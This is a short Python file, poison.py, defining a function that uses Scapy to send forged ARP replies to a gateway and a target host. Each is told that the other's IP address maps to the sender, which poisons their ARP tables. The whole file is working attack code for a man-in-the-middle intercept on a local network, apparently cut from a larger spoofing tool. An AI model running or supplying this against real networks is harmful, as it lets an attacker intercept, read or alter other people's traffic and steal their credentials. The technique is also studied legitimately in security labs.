poison.py

def poison_arp_tables(gateway_ip, gateway_mac, target_ip, target_mac):

    # print("Poisoning.....")
    gateway_to_target = ARP(op=2, hwdst= target_mac, psrc= gateway_ip, pdst= target_ip)
    target_to_gateway = ARP(op=2, hwdst= gateway_mac, psrc= target_ip, pdst= gateway_ip)
    try:
        send(gateway_to_target, verbose=0)
        send(target_to_gateway, verbose=0)
    except Exception as e:
        sys.exit()
    # print("Poisoning done...")